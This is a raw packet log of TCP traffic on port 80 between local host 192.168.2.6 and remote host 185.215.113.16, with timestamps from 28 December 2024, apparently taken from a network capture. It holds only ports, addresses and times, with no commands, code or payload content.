Dec 28, 2024 10:03:37.606688976 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.606729984 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.606760025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.607496023 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.607530117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.607618093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.608453035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.608498096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.608500957 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.609283924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.609327078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.609407902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.610188007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.610233068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.610306978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.611071110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.611116886 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.611167908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.611957073 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.612001896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.612077951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.612838030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.612880945 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.612943888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.613723993 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.613763094 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.613823891 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.614605904 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.614639997 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.614742994 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.615571022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.615616083 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.615652084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.616092920 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.616388083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.616422892 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.616476059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.617378950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.617403030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.617409945 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.618169069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.618216991 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.618282080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.619067907 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.619112015 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.619146109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.619955063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.620001078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.620027065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.634186029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.744966030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.745070934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.745115995 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.745210886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.745326042 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.745363951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.746084929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.746193886 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.746232033 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.746987104 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.747062922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.747101068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.768970966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.769027948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.769073963 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.769351959 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.769444942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.769481897 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.770267963 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.770376921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.770412922 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.771141052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.771254063 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.771291018 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.772140026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.772248983 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.772285938 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.772891998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.773014069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.773056030 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.773788929 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.773900032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.773938894 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.774697065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.774787903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.774827003 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.775645018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.775719881 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.775759935 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.776506901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.776571989 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.776618004 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.777829885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.777981043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.778022051 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.778268099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.778393984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.778426886 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.779185057 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.779306889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.779349089 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.780122995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.780241013 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.780282021 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.781013012 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.781117916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.781153917 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.781809092 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.781949997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.781990051 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.782677889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.782836914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.782881021 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.783638000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.783793926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.783828974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.784476995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.784594059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.784632921 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.785484076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.785593987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.785631895 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.786243916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.786355972 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.786401033 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.787127018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.787233114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.787273884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.788044930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.788100958 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.788145065 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.788918018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.789019108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.789057970 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.789855957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.789985895 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.790023088 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.790700912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.790801048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.790839911 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.791558027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.791727066 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.791805029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.792445898 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.792551041 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.792594910 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.793369055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.793495893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.793540001 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.794228077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.794327974 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.794369936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.795128107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.795252085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.795305967 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.796036005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.796137094 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.796170950 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.796904087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.797004938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.797049046 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.797811031 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.797914028 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.797964096 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.798672915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.798791885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.798835993 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.799575090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.799663067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.799705029 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.800518036 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.800606966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.800647974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.801353931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.801490068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.801527977 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.802232027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.802346945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.802388906 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.803172112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.803190947 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.803227901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.804023981 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.804280043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.804327011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.804872036 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.804986000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.805036068 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.805309057 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.805787086 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.805896997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.805932045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.806672096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.806792021 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.806830883 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.807573080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.807696104 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.807734966 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.808479071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.808574915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.808610916 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.809338093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.809436083 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.809479952 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.810235023 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.810276031 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.810318947 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.811100960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.811295986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.811331034 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.811996937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.812087059 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.812127113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.826961040 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.937144995 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.937253952 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.937304974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.937509060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.937717915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.937769890 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.937771082 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.938642979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.938683987 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.938807011 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.939451933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.941581011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.960968971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.961123943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.961169004 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.961381912 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.961496115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.961591005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.962263107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.962383032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.962433100 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.963159084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.963232994 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.964032888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.964082956 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.964096069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.964922905 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.965084076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.965121031 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.965802908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.965920925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.965965986 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.966694117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.966797113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.966835976 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.967941999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.968069077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.968111038 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.968456030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.968528986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.968570948 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.969379902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.969568014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.969644070 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.970257044 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.970369101 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.970413923 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.971189976 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.971210003 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.971251011 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.972018003 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.972201109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.972331047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.972906113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.973032951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.973066092 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.973803043 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.973913908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.973962069 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.974697113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.974807024 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.975560904 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.975609064 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.975666046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.976471901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.976567984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.976629972 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.977356911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.977477074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.977520943 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.978240967 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.978333950 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.978405952 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.979135036 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.979229927 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.979273081 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.980051994 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.980134010 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.980205059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.980895042 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.980990887 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.981035948 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.981796026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.981815100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.981885910 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.982731104 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.982839108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.982913971 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.983680964 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.983814001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.983925104 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.984481096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.984500885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.984549046 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.985358000 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.985459089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.985502005 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.986242056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.986337900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.986376047 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.987106085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.987242937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.988002062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.988106012 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.988154888 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.988941908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.989064932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.989594936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.989849091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.989927053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.989974022 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.990690947 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.990839005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.990899086 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.991552114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.991693020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.991735935 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.992491007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.992602110 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.992645979 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.993366957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.993439913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.993576050 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.994235039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.994364977 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.994412899 CET	49766	80	192.168.2.6	185.215.113.16
